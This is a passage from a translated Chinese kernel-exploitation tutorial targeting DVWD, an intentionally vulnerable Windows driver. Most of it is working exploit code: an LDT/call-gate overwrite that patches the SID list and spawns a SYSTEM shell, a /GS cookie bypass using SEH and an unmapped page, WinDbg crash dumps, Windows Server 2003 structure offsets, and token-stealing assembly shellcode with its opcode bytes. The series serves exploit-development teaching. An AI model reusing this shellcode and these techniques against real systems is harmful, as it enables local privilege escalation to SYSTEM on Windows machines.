  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STORE, &overwrite, 0, NULL, 0, &dwReturn, NULL);

  overwrite.Size = 8;
  overwrite.StorePtr = (PVOID)KGDTEntry;
  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_OVERWRITE, &overwrite, 0, NULL, 0, &dwReturn, NULL);

  CloseHandle(hFile);

  return TRUE;
 }

 return FALSE;
}


// Create a new LDT using ZwSetInformationProcess ----------------------------------
BOOL SetLDTEnv(VOID) {

 NTSTATUS retStatus;
 LDT_ENTRY eLdt;
 PROCESS_LDT_INFORMATION infoLdt; 
 _ZwSetInformationProcess ZwSetInformationProcess;

 // Retrieve the address of the undocumented syscall ZwSetInformationProcess()
 ZwSetInformationProcess = (_ZwSetInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwSetInformationProcess");

 if(!ZwSetInformationProcess)
  return FALSE;

 // Create and initialize a new LDT
 RtlZeroMemory(&eLdt, sizeof(LDT_ENTRY));

 RtlCopyMemory(&(infoLdt.LdtEntries[0]), &eLdt, sizeof(LDT_ENTRY));
 infoLdt.Start = 0;
 infoLdt.Length = sizeof(LDT_ENTRY);

 retStatus = ZwSetInformationProcess(GetCurrentProcess(), 
             ProcessLdtInformation, 
             &infoLdt, 
             sizeof(PROCESS_LDT_INFORMATION));

 if(retStatus != STATUS_SUCCESS)
  return FALSE;

 return TRUE;
}


#define LDT_DESC_FROM_KPROCESS 0x20
ULONG64 LDTDescStorage32=0;

// Main function -------------------------------------------------------------------
BOOL LDTDescOverwrite32(VOID) {

 PVOID kprocess,kprocessLDTDesc;
 PLDT_ENTRY pLDTDesc = (PLDT_ENTRY)&LDTDescStorage32;
 PVOID ReturnFromGateArea = NULL;
 PCALL_GATE32 pGate = NULL;

 // User standard SIDList Patch
 FARPROC KernelPayload = (FARPROC)UserShellcodeSIDListPatchCallGate;

 // Retrieve the KPROCESS Address == EPROCESS Address
 kprocess = FindCurrentEPROCESS();
 if(!kprocess)
  return FALSE;

 // Address of LDT Descriptor
 // kd> dt nt!_kprocess
 kprocessLDTDesc = (PBYTE)kprocess + LDT_DESC_FROM_KPROCESS;
 printf("[--] kprocessLDTDesc found at: %p\n", kprocessLDTDesc);

 // Create a new LDT entry
 if(!SetLDTEnv())
  return FALSE;

 // Fixup the Gate Payload (replace 0x41414141 by the address of the kernel payload)
 // and put it into executable memory
 RtlCopyMemory(ReturnFromGate + OFFSET_SHELLCODE, &KernelPayload, sizeof(FARPROC));
 ReturnFromGateArea = CreateUspaceExecMapping(1);
 RtlCopyMemory(ReturnFromGateArea, ReturnFromGate, sizeof(ReturnFromGate));

 // Build the Call-Gate(system descriptor), we pass the address of the shellcode
 pGate = CreateUspaceMapping(1);
 PrepareCallGate32(pGate, (PVOID)ReturnFromGateArea);

 // Build the fake LDT Descriptor with a Call-Gate (the one previously created) 
 PrepareLDTDescriptor32(pLDTDesc, (PVOID)pGate);

 printf("[--] LDT Descriptor fake: 0x%llx\n", LDTDescStorage32);

 // Trigger the vulnerability: overwrite the LdtDescriptor field in KPROCESS
 OverwriteGDTEntry(LDTDescStorage32, kprocessLDTDesc);

 // We force a process context switch
 // Indeed, the LDT segment descriptor into the GDT is updated only after a context 
 // switch. So, it's needed before being able to use the Call-Gate
 Sleep(1000);

 // Trigger the call gate via a FAR CALL (see assembly code)
 FarCall();

 return TRUE;
}


// This is where we begin ... ------------------------------------------------
BOOL TriggerOverwrite32_LDTRemappingWay() {

 // Load the Kernel Executive ntoskrnl.exe in userland and get some symbol's kernel address
 if(LoadAndGetKernelBase() == FALSE)
  return FALSE;

 // We exploit the vulnerability with a payload that patches the SID list to get 
 // SYSTEM privilege and then we spawn a shell if it succeeds
 if(LDTDescOverwrite32() == TRUE) {
  if (CreateChild(_T("C:\\WINDOWS\\SYSTEM32\\CMD.EXE")) != TRUE) {
   wprintf(L"Error: unable to spawn process, Error: %d\n", GetLastError());
   return FALSE;
  }
 }

 return TRUE;
}

7. w00t ?


利用运行结果如下:

再次w00t !!

引用 0x02


(1] GDT and LDT in Windows kernel vulnerability exploitation, by Matthew "j00ru" Jurczyk & Gynvael Coldwind, Hispasec (16 January 2010)

(2] Intel Manual Vol. 3A & 3B http://www.intel.com/products/processor/manuals/

(3] Task State Segment (TSS) http://en.wikipedia.org/wiki/Task_State_Segment

(4] Call-Gate, by Ivanlef0u http://www.ivanlef0u.tuxfamily.org/?p=86

0x04 利用基于栈的缓冲区溢出弱点-(绕过 cookie)


在这篇文章中,当我们把很大的buffer传递到驱动(有DEVICEIO_DVWD_STACKOVERFLOW IOCTL)中时,我们将利用驱动中基于栈的缓冲区溢出弱点.主要是我们已得到位于内核态中的buffer且我们可以像在用户态中那样溢出它(内核态中的缓冲区溢出概念和用户态中的溢出概念相同),正如我们在这个系列中的第一篇文章中看到的,使用RtlCopyMemory()函数是一件很糟糕的事.

首先我们将明白在驱动中检测弱点的方法接着我们将成功利用进程

1. 触发弱点


为了触发弱点,我已写了一小段代码:

/* IOCTL */
#define DEVICEIO_DVWD_STACKOVERFLOW  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) 

int main(int argc, char *argv[]) {

 char junk[512];
 HANDLE hDevice;

 printf("--[ Fuzz IOCTL DEVICEIO_DVWD_STACKOVERFLOW ---------------------------\n");

 printf("[~] Building junk data to send to the driver...\n");
 memset(junk, 'A', 511);
 junk[511] = '\0';

 printf("[~] Open an handle to the driver DVWD...\n");
 hDevice = CreateFile("\\\\.\\DVWD", 
    GENERIC_READ | GENERIC_WRITE, 
    FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 
    NULL, 
    OPEN_EXISTING, 
    0, 
    NULL);
 printf("\tHandle: %p\n",hDevice);
 getch();

 printf("[~] Send IOCTL DEVICEIO_DVWD_STACKOVERFLOW with junk data...\n");
 DeviceIoControl(hDevice, DEVICEIO_DVWD_STACKOVERFLOW, &junk, strlen(junk), NULL, 0, NULL, NULL);


 CloseHandle(hDevice);
 return 0;
}

代码浅显易懂,它仅发送512-字节的垃圾数据(事实上是511个’A’+’\0’).这应该足以溢出驱动使用的buffer了,它才64-字节长) 好的,让我们编译并运行上面的代码吧,这是我们得到的结果:

BOUM!一个很棒的BSOD发生了!

现在我们将用于测试的windows VM附加到远程内核调试器中,那事实上正在另一台windows VM中运行.所有关于使用VMware搭建的远程调试环境的细节已在这篇文章中(1]给出.

我们再次运行代码,将buffer发送到驱动后,windows VM冻结了.

…同时,远程内核调试器检测到了”fatal system error”:

*** Fatal System Error: 0x000000f7
                       (0xB497BD51,0xF786C6EA,0x08793915,0x00000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

为了得到更多信息,我们输入!analyze –v,接着我们得到结果如下:

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: b497bd51, Actual security check cookie from the stack
Arg2: f786c6ea, Expected security check cookie
Arg3: 08793915, Complement of the expected security check cookie
Arg4: 00000000, zero

Debugging Details:
------------------


DEFAULT_BUCKET_ID:  GS_FALSE_POSITIVE_MISSING_GSFRAME

SECURITY_COOKIE:  Expected f786c6ea found b497bd51

BUGCHECK_STR:  0xF7

PROCESS_NAME:  fuzzIOCTL.EXE

CURRENT_IRQL:  0

LAST_CONTROL_TRANSFER:  from 80825b5b to 8086cf70

STACK_TEXT:
f5d6f770 80825b5b 00000003 b497bd51 00000000 nt!RtlpBreakWithStatusInstruction
f5d6f7bc 80826a4f 00000003 000001ff 0012fcdc nt!KiBugCheckDebugBreak+0x19
f5d6fb54 80826de7 000000f7 b497bd51 f786c6ea nt!KeBugCheck2+0x5d1
f5d6fb74 f7858662 000000f7 b497bd51 f786c6ea nt!KeBugCheckEx+0x1b
WARNING: Stack unwind information not available. Following frames may be wrong.
f5d6fb94 f7858316 f785808c 02503afa 82499078 DVWDDriver!DvwdHandleIoctlStackOverflow+0x5ce
f5d6fc10 41414141 41414141 41414141 41414141 DVWDDriver!DvwdHandleIoctlStackOverflow+0x282
f5d6fc14 41414141 41414141 41414141 41414141 0x41414141
f5d6fc18 41414141 41414141 41414141 41414141 0x41414141
[...]
f5d6fd20 41414141 41414141 41414141 41414141 0x41414141
f5d6fd24 41414141 41414141 41414141 41414141 0x41414141


STACK_COMMAND:  kb

FOLLOWUP_IP:
DVWDDriver!DvwdHandleIoctlStackOverflow+5ce
f7858662 cc              int     3

SYMBOL_STACK_INDEX:  4

SYMBOL_NAME:  DVWDDriver!DvwdHandleIoctlStackOverflow+5ce

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: DVWDDriver

IMAGE_NAME:  DVWDDriver.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  4e08f4d5

FAILURE_BUCKET_ID:  0xF7_MISSING_GSFRAME_DVWDDriver!DvwdHandleIoctlStackOverflow+5ce
BUCKET_ID:  0xF7_MISSING_GSFRAME_DVWDDriver!DvwdHandleIoctlStackOverflow+5ce

所以这是内核栈已被溢出的证明.我们可以看到在崩掉栈时,我们所有的’A’(0x41)在栈转储中.但意识到重要的错误信息是: DRIVER_OVERRAN_STACK_BUFFER (f7)那意味着通过内核可以直接检测到栈溢出.这个错误可以确认为使用了一种机制Stack-Cookie-也被称为Stack-Canary-用于避开栈溢出…. 原理和用户态中的一样(在MS Visual Studio的链接器中使用有用的/GS标志).通常,一个安全cookie(伪随机4-字节值)被放在栈上(位于ebp的值和局部变量之间),因此我们想要达到目的且为了溢出存储在EIP中的值,我们不得不溢出该值.当然,在这个函数的末尾,检查安全cookie值而不顾原来的值(预期值).如果它们不匹配,那么我们在被触发之前将会出现fatal error.

2. Stack-Canary ?


如果我们反汇编弱点函数,我们将看到如下:

在函数的末尾 有个__SEH_prolog4_GS调用:这是一个函数,它被用于:

• 创建对应于写入了__try{}__except{}函数的异常句柄块(EXCEPTION_REGISTRATION_RECORD) • 创建Stack-Canary

无论如何,在函数的末尾中,我们可以看到一个__SEH_epilog4_GS的调用;这是一个函数(检索当前Stack-Canary的值)并调用__security_check_cookie()函数.这末尾函数目的是用Stack-Canary的预期值与当前值进行比较.这个预期值(symbol: __security_cookie)将被存储进.data段中.如果值不匹配,会像上次测试那样崩掉系统(BSOD).

3.内核态中绕过Stack-Canary的方法


要绕过Stack-Canary,目标是在检查cookie之前(在调用 __security_check_cookie() 函数之前)触发异常.所以,想法是生成内存故障异常(由于访问了在用户态中的一块未被映射的区域,而不是在内核态中).为了实现该想法,我们将使用CreateFileMapping()和MapViewOfFileEx()API调用构造一块被映射的内存区域(匿名映射)(阅读(1])然后用shellcode的地址(稍后将会编写)填充该区域.

在发送一个DEVICEIO_DVWD_STACKOVERFLOW IOCTL时,重点理解我们如何将用户态的buffer指针,及它的大小传递到驱动.技巧是用此方式(buffer的末端放置在接下来未被映射的页中)调整buffer指针,这足以将buffer仅有的最后四字节放置在匿名映射范围外.DVWDDriver的作者的书中用这幅图相当好地阐明这一点:

通过这样做,当驱动要读取buffer(用于复制)时,它将终止试图读取在用户态未被映射的内存区域.所以将会触发异常,在内核态将可能使用SEH利用绕过Stack-Canary.

4. Shellcoding


为了我的测试,我决定不再使用DVWDExploit中给出的相同的shellcode了.除了把SID patch掉利用进程的访问令牌外,我想用另一种提权方法:窃取SID == NT AUTHORITY\SYSTEM SID进程的访问令牌,并用窃取的SID覆盖掉利用进程的访问令牌 我没有为编写shellcode而重造轮子,我仅是从papers(2]和(3]引用了两段不错的shellcode. 算法如下所示:

  1. _KPRCB中找到对应当前线程的 _KTHREAD结构体.
  2. _KTHREAD中找到对应当前进程的_EPROCESS结构体,
  3. 在_EPROCESS查找带有PID=4的进程(uniqueProcessId=4);该"System"进程SID== NT AUTHORITY\SYSTEM SID
  4. 检索那进程的令牌地址
  5. 对应我们想要提权的进程中找到_EPROCESS.
  6. 用”System”进程的令牌替换进程的Token.
  7. 使用SYSEXIT指令返回到用户态中.在调用SYSEXIT之前,正如在(2]中解释的那样调整寄存器.为了直接跳转到用户态中的payload那将用完全特权运行.

首先找到在Windows Server 2003 SP2中内核结构体的偏移.为了达到目的,我们将使用kd进行深入了解那些结构体

kd> r
eax=00000001 ebx=000063a3 ecx=80896d4c edx=000002f8 esi=00000000 edi=ed8fcfa8
eip=8086cf70 esp=80894560 ebp=80894570 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202

kd> dg @fs
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 ffdff000 00001fff Data RW    0 Bg Pg P  Nl 00000c92

kd> dt nt!_kpcr ffdff000
   [...]
   +0x120 PrcbData         : _KPRCB

kd> dt nt!_kprcb ffdff000+0x120
   +0x000 MinorVersion     : 1
   +0x002 MajorVersion     : 1
   +0x004 CurrentThread    : 0x80896e40 _KTHREAD
   +0x008 NextThread       : (null)
   +0x00c IdleThread       : 0x80896e40 _KTHREAD
   [...]


kd> dt nt!_kthread 0x80896e40
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 MutantListHead   : _LIST_ENTRY [ 0x80896e50 - 0x80896e50 ]
   +0x018 InitialStack     : 0x808948b0 Void
   +0x01c StackLimit       : 0x808918b0 Void
   +0x020 KernelStack      : 0x808945fc Void
   +0x024 ThreadLock       : 0
   +0x028 ApcState         : _KAPC_STATE
   +0x028 ApcStateFill     : [23]  "hn???"
   +0x03f ApcQueueable     : 0x1 ''
   [...]


kd> dt nt!_kapc_state 0x80896e40+0x28
   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0x80896e68 - 0x80896e68 ]
   +0x010 Process          : 0x808970c0 _KPROCESS
   +0x014 KernelApcInProgress : 0 ''
   +0x015 KernelApcPending : 0 ''
   +0x016 UserApcPending   : 0 ''

kd> dt nt!_eprocess 0x808970c0
   +0x000 Pcb              : _KPROCESS
   +0x078 ProcessLock      : _EX_PUSH_LOCK
   +0x080 CreateTime       : _LARGE_INTEGER 0x0
   +0x088 ExitTime         : _LARGE_INTEGER 0x0
   +0x090 RundownProtect   : _EX_RUNDOWN_REF
   +0x094 UniqueProcessId  : (null)
   +0x098 ActiveProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0a0 QuotaUsage       : [3] 0
   +0x0ac QuotaPeak        : [3] 0
   +0x0b8 CommitCharge     : 0
   +0x0bc PeakVirtualSize  : 0
   +0x0c0 VirtualSize      : 0
   +0x0c4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0cc DebugPort        : (null)
   +0x0d0 ExceptionPort    : (null)
   +0x0d4 ObjectTable      : 0xe1000c60 _HANDLE_TABLE
   +0x0d8 Token            : _EX_FAST_REF
   +0x0dc WorkingSetPage   : 0x17f40
   [...]

kd> dt nt!_list_entry
   +0x000 Flink            : Ptr32 _LIST_ENTRY
   +0x004 Blink            : Ptr32 _LIST_ENTRY

kd> dt nt!_token -r1 @@(0xe1001727 & ~7)
   +0x000 TokenSource      : _TOKEN_SOURCE
      +0x000 SourceName       : [8]  "*SYSTEM*"
      +0x008 SourceIdentifier : _LUID
   +0x010 TokenId          : _LUID
      +0x000 LowPart          : 0x3ea
      +0x004 HighPart         : 0n0
   +0x018 AuthenticationId : _LUID
      +0x000 LowPart          : 0x3e7
      +0x004 HighPart         : 0n0
   +0x020 ParentTokenId    : _LUID
      +0x000 LowPart          : 0
      +0x004 HighPart         : 0n0
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x6207526`b64ceb90
      +0x000 LowPart          : 0xb64ceb90
      +0x004 HighPart         : 0n102790438
      +0x000 u                : __unnamed
      +0x000 QuadPart         : 0n441481572610010000
   [...]

从这:我们可以推算出偏移(帮助你在Windows Server 2003 SP2 上编写shellcode)

• _KTHREAD:定位于fs:[0x124](在 FS段描述符指向 _KPCR的位置) • _EPROCESS: 从_KTHREAD开始到0x38 • 一个双链表,它链接所有_EPROCESS结构(所有进程中).被定位于从_EPROCESS开始到0x98偏移范围.在该双链表内,它也对应下一元素(Flink)的指针. • _EPROCESS.UniqueProcessId: 它是相应进程的PID.从_EPROCESS开始定位于0x94偏移上 • _EPROCESS.Token: 该结构体含有访问令牌.在_EPROCESS中的偏移是0xD8.(必须用8调整)

.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
assume fs:nothing

.code

shellcode:

; ----------------------------------------------------------------------
;                  Shellcode for Windows Server 2k3
; ----------------------------------------------------------------------

; Offsets
WIN2K3_KTHREAD_OFFSET   equ 124h    ; nt!_KPCR.PcrbData.CurrentThread
WIN2K3_EPROCESS_OFFSET  equ 038h    ; nt!_KTHREAD.ApcState.Process
WIN2K3_FLINK_OFFSET     equ 098h    ; nt!_EPROCESS.ActiveProcessLinks.Flink
WIN2K3_PID_OFFSET       equ 094h    ; nt!_EPROCESS.UniqueProcessId
WIN2K3_TOKEN_OFFSET     equ 0d8h    ; nt!_EPROCESS.Token
WIN2K3_SYS_PID          equ 04h     ; PID Process SYSTEM


pushad                                ; save registers

mov eax, fs:[WIN2K3_KTHREAD_OFFSET]   ; EAX <- current _KTHREAD
mov eax, [eax+WIN2K3_EPROCESS_OFFSET] ; EAX <- current _KPROCESS == _EPROCESS
push eax


mov ebx, WIN2K3_SYS_PID

SearchProcessPidSystem:

mov eax, [eax+WIN2K3_FLINK_OFFSET]    ; EAX <- _EPROCESS.ActiveProcessLinks.Flink
sub eax, WIN2K3_FLINK_OFFSET          ; EAX <- _EPROCESS of the next process
cmp [eax+WIN2K3_PID_OFFSET], ebx      ; UniqueProcessId == SYSTEM PID ?
jne SearchProcessPidSystem            ; if no, retry with the next process...

mov edi, [eax+WIN2K3_TOKEN_OFFSET]    ; EDI <- Token of process with SYSTEM PID
and edi, 0fffffff8h                   ; Must be aligned by 8

pop eax                               ; EAX <- current _EPROCESS 


mov ebx, 41414141h

SearchProcessPidToEscalate:

mov eax, [eax+WIN2K3_FLINK_OFFSET]    ; EAX <- _EPROCESS.ActiveProcessLinks.Flink
sub eax, WIN2K3_FLINK_OFFSET          ; EAX <- _EPROCESS of the next process
cmp [eax+WIN2K3_PID_OFFSET], ebx      ; UniqueProcessId == PID of the process 
                                      ; to escalate ?
jne SearchProcessPidToEscalate        ; if no, retry with the next process...

SwapTokens:

mov [eax+WIN2K3_TOKEN_OFFSET], edi    ; We replace the token of the process 
                                      ; to escalate by the token of the process
                                      ; with SYSTEM PID

PartyIsOver:

popad                                 ; restore registers
mov edx, 11111111h                    ; EIP value after SYSEXIT
mov ecx, 22222222h                    ; ESP value after SYSEXIT
mov eax, 3Bh                          ; FS value in userland (points to _TEB)
db 8Eh, 0E0h                          ; mov fs, ax
db 0Fh, 35h                           ; SYSEXIT

end shellcode
我们用MASM汇编这段汇编代码并索引操作码的对应序列Tools > Load Binary File as Hex我们得到:
00000200 :60 64 A1 24 01 00 00 8B - 40 38 50 BB 04 00 00 00
00000210 :8B 80 98 00 00 00 2D 98 - 00 00 00 39 98 94 00 00
00000220 :00 75 ED 8B B8 D8 00 00 - 00 83 E7 F8 58 BB 41 41
00000230 :41 41 8B 80 98 00 00 00 - 2D 98 00 00 00 39 98 94
00000240 :00 00 00 75 ED 89 B8 D8 - 00 00 00 61 BA 11 11 11
00000250 :11 B9 22 22 22 22 B8 3B - 00 00 00 8E E0 0F 35 00

当然,在使用这段shellcode前,需要替换进程的PID来提升特权,在SYSEXIT后分别使用EIP和ESP值,在发送buffer前我们将用代码实现它.

5. 利用方法论


利用的过程如下:

  1. 创建一块可执行的内存区域并将上一段shellcode(用于交换令牌)放入区域中。
  2. 类似地,创建一块可执行的内存区域并将shellcode(在提权之后执行)放入其中。
  3. 更新第一段shellcode:提升进程的PID,在SYSEXIT后使用EIP,在SYSEXIT后使用ESP.(4]中采用了此方法.
  4. 为我们的buffer构造一块匿名映射区域
  5. 用第一段shellcode的地址填充这块映射区域
  6. 用此方式(最后4字节位于一块未被映射的内存区域)调节buffer指针
  7. 将buffer发送到驱动(用the DEVICEIO_DVWD_STACKOVERFLOW IOCTL).

6.利用代码


这是利用程序的主函数.鉴于上一个利用程序,它应该相当易懂:

VOID TriggerOverflow32(VOID) {

 HANDLE hFile;
 DWORD dwReturn;
 UCHAR* map;
 UCHAR *uBuff = NULL;
 BOOL ret;
 ULONG_PTR pShellcode;

 // Load the Kernel Executive ntoskrnl.exe in userland and get some 
 // symbol's kernel address
 if(LoadAndGetKernelBase() == FALSE)
  return;


 // Put the shellcodes in executable memory
 mapShellcodeSwapTokens = (UCHAR *)CreateUspaceExecMapping(1);
 mapShellcodePayload    = (UCHAR *)CreateUspaceExecMapping(1);

 memset(mapShellcodeSwapTokens, '\x00', GlobalInfo.dwAllocationGranularity);
 memset(mapShellcodePayload, '\x00', GlobalInfo.dwAllocationGranularity);

 RtlCopyMemory(mapShellcodeSwapTokens, ShellcodeSwapTokens, sizeof(ShellcodeSwapTokens));
 RtlCopyMemory(mapShellcodePayload, ShellcodePayload, sizeof(ShellcodePayload));


 // Added
 printf("[~] Update Shellcode with PID of the process...\n");
 if(!MajShellcodePid(L"DVWDExploit.exe")) {
  printf("[!] An error occured, exitting...\n");
  return;
 }

 printf("[~] Update Shellcode with EIP to use after SYSEXIT...\n");
 if(!MajShellcodeEip()) {
  printf("[!] An error occured, exitting...\n");
  return;
 }

 printf("[~] Update Shellcode with ESP to use after SYSEXIT...\n");
 if(!MajShellcodeEsp()) {
  printf("[!] An error occured, exitting...\n");
  return;
 }

 printf("[~] Retrieve the address of the shellcode and build the buffer...\n");

 // Create an anonymous map
 map = (UCHAR *)CreateUspaceMapping(1);
 // Retrieve the address of the shellcode
 pShellcode = (ULONG_PTR)mapShellcodeSwapTokens;

 // We fill the map with the address of our shellcode (the address is repeated)
 FillMap(map, pShellcode, GlobalInfo.dwAllocationGranularity);

 // We adjust the pointer to the buffer (size = BUFF_SIZE) in such a way that the 
 // last 4 bytes are in an unmapped memory area
 uBuff = map + GlobalInfo.dwAllocationGranularity - (BUFF_SIZE-sizeof(ULONG_PTR));

 // Now, we send our buffer to the driver and trigger the overflow
 hFile = CreateFile(_T("\\\\.\\DVWD"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
 deviceHandle = hFile;

 if(hFile != INVALID_HANDLE_VALUE)
  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STACKOVERFLOW, uBuff, BUFF_SIZE, NULL, 0, &dwReturn, NULL);

 // If you get here the vulnerability has not been triggered ...
 printf("[!] Stack overflow has not been triggered, maybe the driver has not been loaded ?\n");
 return;
}

7.你机器上的一切都属于我们


为了测试,我已放置了从Metasploit中获取(带有计算器calc.exe shellcode)的payload.然而我们可以做其他任何事。。。。

我们的calc.exe带有NT AUTHORITY\SYSTEM 特权,因此这意味着权限成功提升且payload被成功执行

引用

(1] CreateFileMapping() function http://msdn.microsoft.com/en-us/library/aa366537(v=vs.85).aspx

(2] MapViewOfFileEx() function http://msdn.microsoft.com/en-us/library/aa366763(v=VS.85).aspx

(3] Remote Debugging using VMWare http://www.catch22.net/tuts/vmware

(4] Local Stack Overflow in Windows Kernel, by Heurs http://www.ghostsinthestack.org/article-29-local-stack-overflow-in-windows-kernel.html

(5] Exploiting Windows Device Drivers, by Piotr Bania http://pb.specialised.info/all/articles/ewdd.pdf

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐